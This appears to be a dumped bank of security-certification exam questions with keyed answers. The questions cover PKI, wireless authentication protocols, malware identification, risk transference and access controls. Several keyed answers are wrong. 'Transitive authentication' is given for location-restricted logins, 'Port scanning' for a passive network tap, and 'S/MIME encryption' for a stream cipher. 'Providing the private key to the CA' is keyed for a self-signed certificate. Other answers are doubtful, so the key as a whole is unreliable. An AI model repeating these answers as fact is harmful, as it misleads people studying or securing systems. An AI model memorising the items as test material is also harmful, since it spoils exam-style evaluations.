Non-applicable plugins were selected in the scan policy The output of the report contains false positives
Which of the following strategies helps reduce risk if a rollback is needed when upgrading a critical system platform?
Non-persistent configuration
A user needs to send sensitive information to a colleague using PKI. Which of the following concepts apply when a sender encrypts the message hash with the sender's private key? (Choose two.)
Non-repudiation Message integrity
Which of the following is the MOST likely motivation for a script kiddie threat actor?
Notoriety
Which of the following uses tokens between the identity provider and the service provider to authenticate and authorize users to resources?
OAuth
A new PKI is being built at a company, but the network administrator has concerns about spikes of traffic occurring twice a day due to clients checking the status of the certificates. Which of the following should be implemented to reduce the spikes in traffic?
OCSP
A security engineer at an offline government facility is concerned about the validity of an SSL certificate. The engineer wants to perform the fastest check with the least delay to determine if the certificate has been revoked. Which of the following would BEST meet these requirements?
OCSP
A systems administrator wants to replace the process of using a CRL to verify certificate validity. Frequent downloads are becoming problematic. Which of the following would BEST suit the administrator's needs?
OCSP
An auditor requiring an organization to perform real-time validation of SSL certificates. Which of the following should the organization implement?
OCSP
Attackers have been using revoked certificates for MITM attacks to steal credentials from employees of Company.com. Which of the following options should Company.com implement to mitigate these attacks?
OCSP stapling
Which of the following would a security specialist be able to determine upon examination of a servers certificate?
OID - Object Identifier
A business has recently deployed laptops to all sales employees. The laptops will be used primarily from home offices and while traveling, and a high amount of wireless mobile use is expected. To protect the laptops while connected to untrusted wireless networks, which of the following would be the BEST method for reducing the risk of having the laptops compromised?
OS hardening
A security administrator wants to implement least privilege access for a network share that stores sensitive company data. The organization is particularly concerned with the integrity of data and implementing discretionary access control. The following controls are available: Read = A user can read the content of an existing file. Write = A user can modify the content of an existing file and delete an existing file. Create = A user can create a new file and place data within the file. A missing control means the user does not have that access. Which of the following configurations provides the appropriate control to support the organization/s requirements?
Owners: Read, Write, Create Group Members: Read, Write Others: Read, Create
A network administrator is configuring a honeypot in a company's DMZ. To provide a method for hackers to access the system easily, the company needs to configure a plaintext authentication method that will send only the username and password to a service in the honeypot. Which of the following protocols should the company use?
PAP
A company is currently using the following configuration:IAS server with certificate-based EAP-PEAP and MSCHAP Unencrypted authentication via PAP A security administrator needs to configure a new wireless setup with the following configurations: PAP authentication method PEAP and EAP provide two-factor authentication Which of the following forms of authentication are being used? (Choose two.)
PAP & MSCHAP
Which of the following are used to increase the computing time it takes to brute force a password using an offline attack? (Choose two.)
PBKDF2 bcrypt
A company wants to implement a wireless network with the following requirements: All wireless users will have a unique credential. User certificates will not be required for authentication. The company's AAA infrastructure must be utilized. Local hosts should not store authentication tokens. Which of the following should be used in the design to meet the requirements?
PEAP
A security engineer is configuring a wireless network that must support mutual authentication of the wireless client and the authentication server before users provide credentials. The wireless network must also support authentication with usernames and passwords. Which of the following authentication protocols MUST the security engineer select?
PEAP
An analyst wants to implement a more secure wireless authentication for office access points. Which of the following technologies allows for encrypted authentication of wireless clients over TLS?
PEAP Explanation: EAP by itself is only an authentication framework. PEAP (Protected Extensible Authentication Protocol) fully encapsulates EAP and is designed to work within a TLS (Transport Layer Security) tunnel that may be encrypted but is authenticated. The primary motivation behind the creation of PEAP was to help correct the deficiencies discovered within EAP since that protocol assumes that the communications channel is protected. As a result, when EAP messages are able to be discovered in the "clear" they do not provide the protection that was assumed when the protocol was originally authored. PEAP, EAP-TTLS, and EAP-TLS "protect" inner EAP authentication within SSL/TLS sessions.
A security engineer is configuring a system that requires the X.509 certificate information to be pasted into a form field in Base64 encoded format to import it into a system. Which of the following certificate formats should the engineer use to obtain the information in the required format?
PEM - Privacy Enhanced Mail
A system administrator wants to implement an internal communication system that will allow employees to send encrypted messages to each other. The system must also support non- repudiation. Which of the following implements all these requirements?
PGP
Ann, a security analyst, wants to implement a secure exchange of email. Which of the following is the BEST option for Ann to implement?
PGP
An office manager found a folder that included documents with various types of data relating to corporate clients. The office manager notified the data included dates of birth, addresses, and phone numbers for the clients. The office manager then reported this finding to the security compliance officer. Which of the following portions of the policy would the security officer need to consult to determine if a breach has occurred?
PII
Which of the following would provide additional security by adding another factor to a smart card?
PIN
Two users need to securely share encrypted files via email. Company policy prohibits users from sharing credentials or exchanging encryption keys. Which of the following can be implemented to enable users to share encrypted data while abiding by company policies?
PKI
A wireless network has the following design requirements: Authentication must not be dependent on enterprise directory service It must allow background reconnection for mobile users It must not depend on user certificates Which of the following should be used in the design to meet the requirements? (Choose two.)
PSK Captive portals
While performing a penetration test, the technicians want their efforts to go unnoticed for as long as possible while they gather useful data about the network they are assessing. Which of the following would be the BEST choice for the technicians?
Packet sniffer
A highly complex password policy has made it nearly impossible to crack account passwords. Which of the following might a hacker still be able to perform?
Pass-the-hash attack
An attacker has gathered information about a company employee by obtaining publicly available information from the Internet and social networks. Which of the following types of activity is the attacker performing?
Passive reconnaissance
An in-house penetration tester is using a packet capture device to listen in on network communications. This is an example of:
Passive reconnaissance
A user suspects someone has been accessing a home network without permission by spoofing the MAC address of an authorized system. While attempting to determine if an authorized user is logged into the home network, the user reviews the wireless router, which shows the following table for systems that are currently on the home network. Hostname IP Address MAC Mac filter DADPC 192.168.1.10 00:1D:1A:44:17:B5 ON MomPC 192.168.1.15 21:13:D6:C5:42:A2 Off JuniorPC 192.168.2.16 42:A7:D1:25:11:52 On Unknown 192.168.1.18 10:B3:22:1A:FF:21 Off Which of the following should be the NEXT step to determine if there is an unauthorized user on the network?
Physically check each of the authorized systems to determine if they are logged onto the network.
A third-party penetration testing company was able to successfully use an ARP cache poison technique to gain root access on a server. The tester successfully moved to another server that was not in the original network. Which of the following is the MOST likely method used to gain access to the other host?
Pivoting
Joe, a salesman, was assigned to a new project that requires him to travel to a client site. While waiting for a flight, Joe, decides to connect to the airport wireless network without connecting to a VPN, and the sends confidential emails to fellow colleagues. A few days later, the company experiences a data breach. Upon investigation, the company learns Joe's emails were intercepted. Which of the following MOST likely caused the data breach?
Policy violation
A web server, which is configured to use TLS with AES-GCM-256, SHA-384, and ECDSA, recently suffered an information loss breach. Which of the following is MOST likely the cause?
Poor implementation
After a security assessment was performed on the enterprise network, it was discovered that: 1. Configuration changes have been made by users without the consent of IT. 2. Network congestion has increased due to the use of social media. 3. Users are accessing file folders and network shares that are beyond the scope of their need to know. Which of the following BEST describe the vulnerabilities that exist in this environment? (Choose two.)
Poorly trained users Improperly configured accounts
A company recently experienced data exfiltration via the corporate network. In response to the breach, a security analyst recommends deploying an out-of-band IDS solution. The analyst says the solution can be implemented without purchasing any additional network hardware. Which of the following solutions will be used to deploy the IDS?
Port mirroring
A security analyst has set up a network tap to monitor network traffic for vulnerabilities. Which of the following techniques would BEST describe the approach the analyst has taken?
Port scanning
A technician is auditing network security by connecting a laptop to open hardwired jacks within the facility to verify they cannot connect. Which of the following is being tested?
Port security
Which of the following BEST describes the concept of perfect forward secrecy?
Preventing cryptographic reuse so a compromise of one operation does not affect other operations
A penetration testing team deploys a specifically crafted payload to a web server, which results in opening a new session as the web server daemon. This session has full read/write access to the file system and the admin console. Which of the following BEST describes the attack?
Privilege escalation
After discovering the /etc/shadow file had been rewritten, a security administrator noticed an application insecurely creating files in / tmp. Which of the following vulnerabilities has MOST likely been exploited?
Privilege escalation
Which of the following specifically describes the exploitation of an interactive process to access otherwise restricted areas of the OS?
Privilege escalation
Which of the following types of attacks precedes the installation of a rootkit on a server?
Privilege escalation
An organization has an account management policy that defines parameters around each type of account. The policy specifies different security attributes, such as longevity, usage auditing, password complexity, and identity proofing. The goal of the account management policy is to ensure the highest level of security while providing the greatest availability without compromising data integrity for users. Which of the following account types should the policy specify for service technicians from corporate partners?
Privileged user account
An organization employee resigns without giving adequate notice. The following day, it is determined that the employee is still in possession of several company-owned mobile devices. Which of the following could have reduced the risk of this occurring? (Choose two.)
Proper offboarding procedures Exit interviews
A network technician is trying to determine the source of an ongoing network based attack. Which of the following should the technician use to view IPv4 packet data on a particular internal network segment?
Protocol analyzer
A systems administrator wants to generate a self-signed certificate for an internal website. Which of the following steps should the systems administrator complete prior to installing the certificate on the server?
Provide the private key to the internal CA.
An organization plans to implement multifactor authentication techniques within the enterprise network architecture. Each authentication factor is expected to be a unique control. Which of the following BEST describes the proper employment of multifactor authentication?
Proximity card, fingerprint scanner, PIN
A healthcare company is revamping its IT strategy in light of recent regulations. The company is concerned about compliance and wants to use a pay-per-use model. Which of the following is the BEST solution?
Public SaaS
Ann, a security administrator, wants to ensure credentials are encrypted in transit when implementing a RADIUS server for SSO. Which of the following are needed given these requirements? (Choose two.)
Public key Private key
A company is deploying smartphones for its mobile salesforce. These devices are for personal and business use but are owned by the company. Sales personnel will save new customer data via a custom application developed for the company. This application will integrate with the contact information stored in the smartphones and will populate new customer records onto it. The customer application's data is encrypted at rest, and the application's connection to the back office system is considered secure. The Chief Information Security Officer (CISO) has concerns that customer contact information may be accidentally leaked due to the limited security capabilities of the devices and the planned controls. Which of the following will be the MOST efficient security control to implement to lower this risk?
Restrict contact information storage dataflow so it is only shared with the customer application.
A system uses an application server and database server. Employing the principle of least privilege, only database administrators are given administrative privileges on the database server, and only application team members are given administrative privileges on the application server. Audit and log file reviews are performed by the business unit (a separate group from the database and application teams). The organization wants to optimize operational efficiency when application or database changes are needed, but it also wants to enforce least privilege, prevent modification of log files, and facilitate the audit and log review performed by the business unit. Which of the following approaches would BEST meet the organization's goals?
Restrict privileges on the log file directory to "read only" and use a service account to send a copy of these files to the business unit.
A security analyst is determining the point of compromise after a company was hacked. The analyst checks the server logs and sees that a user account was logged in at night, and several large compressed files were exfiltrated. The analyst then discovers the user last logged in four years ago and was terminated. Which of the following should the security analyst recommend to prevent this type of attack in the future? (Choose two.)
Restrict the compromised user account Perform an audit of all company user accounts
For each of the given items, select the appropriate authentication category from the dropdown choices. Instructions:
Retina scan - Something you are Smart card - Something you have Hardware token - Something you have Password - Something you know PIN number - Something you know Fingerprint scan - Something you are
An organization's IRP prioritizes containment over eradication. An incident has been discovered where an attacker outside of the organization has installed cryptocurrency mining software on the organization's web servers. Given the organization's stated priorities, which of the following would be the NEXT step?
Review firewall and IDS logs to identify possible source IPs.
A security analyst is assessing a small company's internal servers against recommended security practices. Which of the following should the analyst do to conduct the assessment? (Choose two.)
Review the company's current security baseline Run an exploitation framework to confirm vulnerabilities
An email systems administrator is configuring the mail server to prevent spear phishing attacks through email messages. Which of the following refers to what the administrator is doing?
Risk avoidance
A security administrator installed a new network scanner that identifies new host systems on the network. Which of the following did the security administrator install?
Rogue system detection
A chief Financial Officer (CFO) has asked the Chief Information Officer (CISO) to provide responses to a recent audit report detailing deficiencies in the organization security controls. The CFO would like to know ways in which the organization can improve its authorization controls. Given the request by the CFO, which of the following controls should the CISO focus on in the report? (Choose three)
Role-based permissions Separation of duties Lease privilege
An organization is drafting an IRP and needs to determine which employees have the authority to take systems offline during an emergency situation. Which of the following is being outlined?
Roles and responsibilities
Joe, an employee, wants to show his colleagues how much he knows about smartphones. Joe demonstrates a free movie application that he installed from a third party on his corporate smartphone. Joe's colleagues were unable to find the application in the app stores. Which of the following allowed Joe to install the application? (Choose two.)
Rooting/jailbreaking Sideloading
A company has just experienced a malware attack affecting a large number of desktop users. The antivirus solution was not able to block the malware, but the HIDS alerted to C2 calls as 'Troj.Generic'. Once the security team found a solution to remove the malware, they were able to remove the malware files successfully, and the HIDS stopped alerting. The next morning, however, the HIDS once again started alerting on the same desktops, and the security team discovered the files were back. Which of the following BEST describes the type of malware infecting this company's network?
Rootkit
A security administrator is analyzing a user report in which the computer exhibits odd network-related outages. The administrator, however, does not see any suspicious processes running. A prior technician's notes indicate the machine has been remediated twice, but the system still exhibits odd behavior. Files were deleted from the system recently. Which of the following is the MOST likely cause of this behavior?
Rootkit
A technician suspects that a system has been compromised. The technician reviews the following log entry: WARNING- hash mismatch: C:\Window\SysWOW64\user32.dll WARNING- hash mismatch: C:\Window\SysWOW64\kernel32.dll Based solely ono the above information, which of the following types of malware is MOST likely installed on the system?
Rootkit
A user's laptop is experiencing general slowness following the user's return from an extended time out of the office. After a week, the security team looks at the laptop, but nothing appears out of order. The only noticeable issue is that svchost.exe keeps launching even after the security team kills the process. After running netstat, the team notes svchost.exe is listening on port 443. Using an IoC creation tool, a security analyst does the following: OR-- File MD5 contains adf321122abce28873aad3e12f262a12c AND PROCESS name contains svchost.exe PROCESS arguments does not contain -k AND FILENAME contains svchost.exe FILE DIRECTORY is not %system32% Based on the IoCs created and the netstat output, which of the following types of malware is present?
Rootkit
An incident response analyst in a corporate security operations center receives a phone call from an SOC analyst. The SOC analyst explains the help desk recently reimaged a workstation that was suspected of being infected with an unknown type of malware; however, even after reimaging, the host continued to generate SIEM alerts. Which of the following types of malware is MOST likely responsible for producing the SIEM alerts?
Rootkit
An analyst receives an alert from the SIEM showing an IP address that does not belong to the assigned network can be seen sending packets to the wrong gateway. Which of the following network devices is misconfigured and which of the following should be done to remediate the issue?
Router; place the correct subnet on the interface
A supervisor in your organization was demoted on Friday afternoon. The supervisor had the ability to modify the contents of a confidential database, as well as other managerial permissions. On Monday morning, the database administrator reported that log files indicated that several records were missing from the database. Which of the following risk mitigation strategies should have been implemented when the supervisor was demoted?
Routine auditing
A company utilizes 802.11 for all client connectivity within a facility. Users in one part of the building are reporting they are unable to access company resources when connected to the company SSID. Which of the following should the security administrator use to assess connectivity?
Routing tables
An administrator is configuring access to information located on a network file server named "Bowman". The files are located in a folder named "BalkFiles". The files are only for use by the "Matthews" division and should be read-only. The security policy requires permissions for shares to be managed at the file system layer and also requires those permissions to be set according to a least privilege model. Security policy for this data type also dictates that administrator-level accounts on the system have full access to the files. The administrator configures the file share according to the following table: Share Permissions 1 Everyone Full Control File system permissions 2 Bowman\Users Modify Inherited 3 Domain\Matthews Read Not Inherited 4 Bowman\System Full control Inherited 5 Bowman\Administrators Full Control Not Inherited Which of the following rows has been misconfigured?
Row 4
A Chief Security Officer (CSO) has been unsuccessful in attempts to access the website for a potential partner (www.example.net). Which of the following rules is preventing the CSO from accessing the site? Blocked sites: *.nonews.com, *.rumorhasit.net, *.mars?
Rule 3: deny from inside to outside source any destination {blocked sites} service http-https
During a recent audit, several undocumented and unpatched devices were discovered on the internal network. Which of the following can be done to prevent similar occurrences?
Run weekly vulnerability scans and remediate any missing patches on all company devices
A security consultant is setting up a new electronic messaging platform and wants to ensure the platform supports message integrity validation. Which of the following protocols should the consultant recommend?
S/MIME
Confidential emails from an organization were posted to a website without the organization's knowledge. Upon investigation, it was determined that the emails were obtained from an internal actor who sniffed the emails in plain text. Which of the following protocols, if properly implemented, would have MOST likely prevented the emails from being sniffed? (Choose two.)
S/MIME SMTPS
A company is executing a strategy to encrypt and sign all proprietary data in transit. The company recently deployed PKI services to support this strategy. Which of the following protocols supports the strategy and employs certificates generated by the PKI? (Choose three.)
S/MIME TLS HTTP-Digest
Which of the following implements a stream cipher?
S/MIME encryption
A local coffee shop runs a small WiFi hotspot for its customers that utilizes WPA2-PSK. The coffee shop would like to stay current with security trends and wants to implement WPA3 to make its WiFi even more secure. Which of the following technologies should the coffee shop use in place of PSK?
SAE
A company is implementing a remote access portal so employees can work remotely from home. The company wants to implement a solution that would securely integrate with a third party. Which of the following is the BEST solution?
SAML
A company is looking for an all-in-one solution to provide identification, authentication, authorization, and accounting services. Which of the following technologies should the company use?
SAML
A cybersecurity analyst needs to implement secure authentication to third-party websites without users' passwords. Which of the following would be the BEST way to achieve this objective?
SAML
A web developer improves client access to the company's REST API. Authentication needs to be tokenized but not expose the client's password. Which of the following methods would BEST meet the developer's requirements?
SAML
Which of the following allows an application to securely authenticate a user by receiving credentials from a web domain?
SAML
Which of the following is commonly used for federated identity management across multiple organizations?
SAML
Audit logs from a small company's vulnerability scanning software show the following findings: Destinations scanned: -Server001- Internal human resources payroll server -Server101-Internet-facing web server -Server201- SQL server for Server101 -Server301-Jumpbox used by systems administrators accessible from the internal network Validated vulnerabilities found: -Server001- Vulnerable to buffer overflow exploit that may allow attackers to install software -Server101- Vulnerable to buffer overflow exploit that may allow attackers to install software -Server201-OS updates not fully current -Server301- Accessible from internal network without the use of jumpbox -Server301-Vulnerable to highly publicized exploit that can elevate user privileges Assuming external attackers who are gaining unauthorized information are of the highest concern, which of the following servers should be addressed FIRST?
Server101
A systems administrator is attempting to recover from a catastrophic failure in the datacenter. To recover the domain controller, the systems administrator needs to provide the domain administrator credentials. Which of the following account types is the systems administrator using?
Service account
An organization is working with a cloud services provider to transition critical business applications to a hybrid cloud environment. The organization retains sensitive customer data and wants to ensure the provider has sufficient administrative and logical controls in place to protect its data. In which of the following documents would this concern MOST likely be addressed?
Service level agreement
Company A agrees to provide perimeter protection, power, and environmental support with measurable goals for Company B, but will not be responsible for user authentication or patching of operating systems within the perimeter. Which of the following is being described?
Service level agreement
While reviewing system logs, a security analyst notices that a large number of end users are changing their passwords four times on the day the passwords are set to expire. The analyst suspects they are cycling their passwords to circumvent current password controls. Which of the following would provide a technical control to prevent this activity from occurring?
Set password aging requirements
A computer on a company network was infected with a zero-day exploit after an employee accidently opened an email that contained malicious content. The employee recognized the email as malicious and was attempting to delete it, but accidently opened it. Which of the following should be done to prevent this scenario from occurring again in the future?
Set the email program default to open messages in plain text
A security analyst is reviewing the password policy for a service account that is used for a critical network service. The password policy for this account is as follows: Enforce password history: three passwords remembered Max pass age: 30 days Min pass age: 0 days Complexity: 1 special character, 1 uppercase Lockout duration: 1 day Lockout threshold: 5 failed attempts in 15 mins Which of the following adjustments would be the MOST appropriate for the service account?
Set the maximum password age to 15 days
A systems administrator is auditing the company's Active Directory environment. It is quickly noted that the username "company\bsmith" is interactively logged into several desktops across the organization. Which of the following has the systems administrator MOST likely come across?
Shared credentials
A systems administrator is configuring a new network switch for TACACS+ management and authentication. Which of the following must be configured to provide authentication between the switch and the TACACS+ server?
Shared secret
An administrator is disposing of media that contains sensitive information. Which of the following will provide the MOST effective method to dispose of the media while ensuring the data will be unrecoverable
Shred the hard drive.
A company wants to ensure confidential data from storage media is sanitized in such a way that the drive cannot be reused. Which of the following method should the technician use?
Shredding
A security technician has been assigned data destruction duties. The hard drives that are being disposed of contain highly sensitive information. Which of the following data destruction techniques is MOST appropriate?
Shredding
An organization handling highly confidential information needs to update its systems. Which of the following is the BEST method to prevent data compromise?
Shredding
A security administrator needs to implement a system that detects possible intrusions based upon a vendor provided list. Which of the following BEST describes this type of IDS?
Signature based
An organization's employees currently use three different sets of credentials to access multiple internal resources. Management wants to make this process less complex. Which of the following would be the BEST option to meet this goal?
Single sign-on
Which of the following identity access methods creates a cookie on the first login to a central authority to allow logins to subsequent applications without re-entering credentials?
Single sign-on
An organization has the following password policies: Passwords must be at least 16 characters long. A password cannot be the same as any previous 20 passwords. Three failed login attempts will lock the account for five minutes. Passwords must have one uppercase letter, one lowercase letter, and one non-alphanumeric symbol. A database server was recently breached, and the incident response team suspects the passwords were compromised. Users with permission on that database server were forced to change their passwords for that server. Unauthorized and suspicious logins are now being detected on a completely separate server. Which of the following is MOST likely the issue and the best solution?
Some users are reusing passwords for different systems; the organization should scan for password reuse across systems.
Which of the following authentication concepts is a gait analysis MOST closely associated?
Something you do
An employer requires that employees use a key-generating app on their smartphones to log into corporate applications. In terms of authentication of an individual, this type of access policy is BEST defined as:
Something you have.
*LAB* Attacker gains confidential company information by targeting CEO and board members
Spear Phishing
An employee receives an email, which appears to be from the Chief Executive Officer (CEO), asking for a report of security credentials for all users. Which of the following types of attack is MOST likely occurring?
Spear phishing
Which of the following involves the use of targeted and highly crafted custom attacks against a population of users who may have access to a particular service or program?
Spear phishing
A system administrator wants to provide for and enforce wireless access accountability during events where external speakers are invited to make presentations to a mixed audience of employees and non-employees. Which of the following should the administrator implement?
Sponsored Guest
An external attacker can modify the ARP cache of an internal computer. Which of the following types of attacks is described?
Spoofing
A security analyst is doing a vulnerability assessment on a database server. A scanning tool returns the following information: Database: CustomerAccess1 Column: Password Data type: MD5 Hash Salted?: No There have been several security breaches on the web server that accesses this database. The security team is instructed to mitigate the impact of any possible breaches. The security team is also instructed to improve the security on this database by making it less vulnerable to offline attacks. Which of the following would BEST accomplish these goals? (Choose two.)
Start using salts to generate MD5 password hashes Force users to change passwords the next time they log on
A security analyst is investigating a security breach involving the loss of sensitive data. A user passed the information through social media as vacation photos. Which of the following methods was used to encode the data?
Steganography
A security technician would like to obscure sensitive data within a file so that it can be transferred without causing suspicion. Which of the following technologies would BEST be suited to accomplish this?
Steganography
A website administrator has received an alert from an application designed to check the integrity of the company's website. The alert indicated that the hash value for a particular MPEG file has changed. Upon further investigation, the media appears to be the same as it was before the alert. Which of the following methods has MOST likely been used?
Steganography
A new hire wants to use a personally owned phone to access company resources. The new hire expresses concern about what happens to the data on the phone when they leave the company. Which of the following portions of the company's mobile device management configuration would allow the company data to be removed from the device without touching the new hire's data?
Storage segmentation
The Chief Security Officer (CISO) at a multinational banking corporation is reviewing a plan to upgrade the entire corporate IT infrastructure. The architecture consists of a centralized cloud environment hosting the majority of data, small server clusters at each corporate location to handle the majority of customer transaction processing, ATMs, and a new mobile banking application accessible from smartphones, tablets, and the Internet via HTTP. The corporation does business having varying data retention and privacy laws. Which of the following technical modifications to the architecture and corresponding security controls should be implemented to provide the MOST complete protection of data?
Store customer data based on national borders, ensure end-to end encryption between ATMs, end users, and servers, test redundancy and COOP plans to ensure data is not inadvertently shifted from one legal jurisdiction to another with more stringent regulations
Which of the following would be considered multifactor authentication?
Strong password and fingerprint
Which of the following is the GREATEST risk to a company by allowing employees to physically bring their personal smartphones to work?
Taking pictures of proprietary information and equipment in restricted areas.
A security administrator needs an external vendor to correct an urgent issue with an organization's physical access control system (PACS). The PACS does not currently have internet access because it is running a legacy operation system. Which of the following methods should the security administrator select the best balances security and efficiency?
Temporarily permit outbound internet access for the pacs so desktop sharing can be set up
A member of the human resources department received the following email message after sending an email containing benefit and tax information to a candidate: "Your message has been quarantined for the following policy violation: external potential_PII. Please contact the IT security administrator for further details". Which of the following BEST describes why this message was received?
The DLP system flagged the message.
A security researcher is tracking an adversary by noting its attacks and techniques based on its capabilities, infrastructure, and victims. Which of the following is the researcher MOST likely using?
The Diamond Model of Intrusion Analysis
A security administrator is investigating many recent incidents of credential theft for users accessing the company's website, despite the hosting web server requiring HTTPS for access. The server's logs show the website leverages the HTTP POST method for carrying user authentication details. Which of the following is the MOST likely reason for compromise?
The HTTP POST method is not protected by HTTPS.
A security analyst is updating a BIA document. The security analyst notices the support vendor's time to replace a server hard drive went from eight hours to two hours. Given these new metrics, which of the following can be concluded? (Choose two.)
The MTTR is faster. The RTO has decreased.
When trying to log onto a company's new ticketing system, some employees receive the following message: Access denied: too many concurrent sessions. The ticketing system was recently installed on a small VM with only the recommended hardware specifications. Which of the following is the MOST likely cause for this error message?
The VM does not have enough processing power.
A help desk technician is trying to determine the reason why several high-level officials' account passwords need to be reset shortly after implementing a self-service password reset process. Which of the following would BEST explain the issue?
The account passwords expired
Which of the following is the MAIN disadvantage of using SSO?
The architecture can introduce a single point of failure.
An attacker is able to capture the payload for the following packet: IP 192.168.1.22:2020 10.10.10.5:443 IP 192.168.1.10:1030 10.10.10.1:21 IP 192.168.1.57:5217 10.10.10.1:3389 During an investigation, an analyst discovers that the attacker was able to capture the information above and use it to log on to other servers across the company. Which of the following is the MOST likely reason?
The attacker is picking off unencrypted credentials and using those to log in to the secure server.
An organization plans to transition the intrusion detection and prevention techniques on a critical subnet to an anomaly-based system. Which of the following does the organization need to determine for this to be successful?
The baseline
A security analyst receives the following output: Time Action Host File Name User 12/15/2017 Policy: Endpoint USB Transfer ~ Blocked Host1 Q3-Finanical.PDF User1 Which of the following MOST likely occurred to produce this output?
The host DLP prevented a file from being moved off a computer
An organization's policy requires users to create passwords with an uppercase letter, lowercase letter, number, and symbol. This policy is enforced with technical controls, which also prevents users from using any of their previous 12 passwords. The quantization does not use single sign-on, nor does it centralize storage of passwords. The incident response team recently discovered that passwords for one system were compromised. Passwords for a completely separate system have NOT been compromised, but unusual login activity has been detected for that separate system. Account login has been detected for users who are on vacation. Which of the following BEST describes what is happening?
The compromised password file has been brute-force hacked, and the complexity requirements are not adequate to mitigate this risk.
Ann, a user, reported to the service desk that many files on her computer will not open or the contents are not readable. The service desk technician asked Ann if she encountered any strange messages on boot-up or login, and Ann indicated she did not. Which of the following has MOST likely occurred on Ann's computer?
The computer has been infected with crypto-malware.
A security analyst is reviewing patches on servers. One of the servers is reporting the following error message in the WSUS management console: The computer has not reported status in 30 days. Given this scenario, which of the following statements BEST represents the issue with the output above?
The computer in question has not pulled the latest application software updates.
An application developer is working on a new calendar and scheduling application. The developer wants to test new functionality that is time/date dependent and set the local system time to one year in the future. The application also has a feature that uses SHA-256 hashing and AES encryption for data exchange. The application attempts to connect to a separate remote server using SSL, but the connection fails. Which of the following is the MOST likely cause and next step?
The date is past the certificate expiration; reset the system to the current time and see if the connection still fails
A staff member contacts the help desk because the staff member's device is currently experiencing the following symptoms: Long delays when launching applications Timeout errors when loading some websites Errors when attempting to open local Word documents and photo files Pop-up messages in the task bar stating that antivirus is out-of-date VPN connection that keeps timing out, causing the device to lose connectivity Which of the following BEST describes the root cause of these symptoms?
The device is infected with crypto-malware, and the files on the device are being encrypted.
Which of the following BEST explains the reason why a server administrator would place a document named password.txt on the desktop of an administrator account on a server?
The document is a honeyfile and is meant to attract the attention of a cyberintruder.
A technician receives a device with the following anomalies: Frequent pop-up ads Show response-time switching between active programs Unresponsive peripherals The technician reviews the following log file entries: File Name Source MD5 Target MD5 Status antivirus.exe F794F21CD33E4F57890DDEA5CF267ED2 F794F21CD33E4F57890DDEA5CF267ED2 Automatic iexplore.exe 7FAAF21CD33E4F57890DDEA5CF29CCEA AA87F21CD33E4F57890DDEAEE2197333 Automatic service.exe 77FF390CD33E4F57890DDEA5CF28881F 77FF390CD33E4F57890DDEA5CF28881F Manual USB.exe E289F21CD33E4F57890DDEA5CF28EDC0 E289F21CD33E4F57890DDEA5CF28EDC0 Stopped Based on the above output, which of the following should be reviewed?
The file integrity check
A security administrator has found a hash in the environment known to belong to malware. The administrator then finds this file to be in in the preupdate area of the OS, which indicates it was pushed from the central patch system. File: winx86_adobe_flash_upgrade.exe Hash: 99ac28bede43ab869b853ba62c4ea243 Given the above outputs, which of the following MOST likely happened?
The file was infected when the patch manager downloaded it.
During a monthly vulnerability scan, a server was flagged for being vulnerable to an Apache Struts exploit. Upon further investigation, the developer responsible for the server informs the security team that Apache Struts is not installed on the server. Which of the following BEST describes how the security team should reach to this incident?
The finding is a false positive and can be disregarded
An analyst is using a vulnerability scanner to look for common security misconfigurations on devices. Which of the following might be identified by the scanner? (Choose two.)
The firewall is disabled on workstations. The OS is only set to check for updates once a day.
A new firewall has been places into service at an organization. However, a configuration has not been entered on the firewall. Employees on the network segment covered by the new firewall report they are unable to access the network. Which of the following steps should be completed to BEST resolve the issue?
The firewall should be configured to prevent user traffic form matching the implicit deny rule.
A workstation puts out a network request to locate another system. Joe, a hacker on the network, responds before the real system does, and he tricks the workstation into communicating with him. Which of the following BEST describes what occurred?
The hacker exploited weak switch configuration.
Which of the following occurs when the security of a web application relies on JavaScript for input validation?
The integrity of the data is at risk.
A call center company wants to implement a domain policy primarily for its shift workers. The call center has large groups with different user roles. Management wants to monitor group performance. Which of the following is the BEST solution for the company to implement?
Time-of-day restrictions
The help desk received a call after hours from an employee who was attempting to log into the payroll server remotely. When the help desk returned the call the next morning, the employee was able to log into the server remotely without incident. However, the incident occurred again the next evening. Which of the following BEST describes the cause of the issue?
Time-of-day restrictions prevented the account from logging in
Which of the following is the proper use of a Faraday cage?
To block electronic signals sent to erase a cell phone
A network operations manager has added a second row of server racks in the datacenter. These racks face the opposite direction of the first row of racks. Which of the following is the reason the manager installed the racks this way?
To create environmental hot and cold isles
Which of the following is a reason why an organization would define an AUP?
To define the set of rules and behaviors for users of the organization's IT systems
A small organization has implemented a rogue system detection solution. Which of the following BEST explains the organization's intent?
To identify assets that are not authorized for use on the network
During a penetration test, the tester performs a preliminary scan for any responsive hosts. Which of the following BEST explains why the tester is doing this?
To identify servers for subsequent scans and further investigation
In highly secure environments where the risk of malicious actors attempting to steal data is high, which of the following is the BEST reason to deploy Faraday cages?
To minimize external RF interference with embedded processors
Which of the following is the BEST reason for salting a password hash before it is stored in a database?
To prevent duplicate values from being stored
Which of the following are the MAIN reasons why a systems administrator would install security patches in a staging environment before the patches are applied to the production server? (Choose two.)
To prevent server availability issues To allow users to test functionality
Which of the following is the BEST reason to run an untested application is a sandbox?
To prevent the application from acquiring escalated privileges and accessing its host system
Which of the following is the BEST use of a WAF?
To protect sites on web servers that are publicly accessible
Which of the following is the purpose of an industry-standard framework?
To provide guidance across common system implementations
Management wishes to add another authentication factor in addition to fingerprints and passwords in order to have threefactor authentication. Which of the following would BEST satisfy this request?
Token fob
A security analyst is acquiring data from a potential network incident. Which of the following evidence is the analyst MOST likely to obtain to determine the incident?
Traffic and logs
A company recently replaced its unsecure email server with a cloud-based email and collaboration solution that is managed and insured by a third party. Which of the following actions did the company take regarding risks related to its email and collaboration services?
Transference
During a risk assessment, results show that a fire in one of the company's datacenters could cost up to $20 million in equipment damages and lost revenue. As a result, the company insures the datacenter for up to $20 million damages for the cost of $30,000 a year. Which of the following risk response techniques has the company chosen?
Transference
In which of the following risk management strategies would cybersecurity insurance be used?
Transference
A company determines that it is prohibitively expensive to become compliant with new credit card regulations. Instead, the company decides to purchase insurance to cover the cost of any potential loss. Which of the following is the company doing?
Transferring the risk
A technician needs to implement a system which will properly authenticate users by their username and password only when the users are logging in from a computer in the office building. Any attempt to authenticate from a location other than the office building should be rejected. Which of the following MUST the technician implement?
Transitive authentication
User from two organizations, each with its own PKI, need to begin working together on a joint project. Which of the following would allow the users of the separate PKIs to work together without connection errors?
Trust model
A technician is designing a solution that will be required to process sensitive information, including classified government data. The system needs to be common criteria certified. Which of the following should the technician select?
Trusted operating system
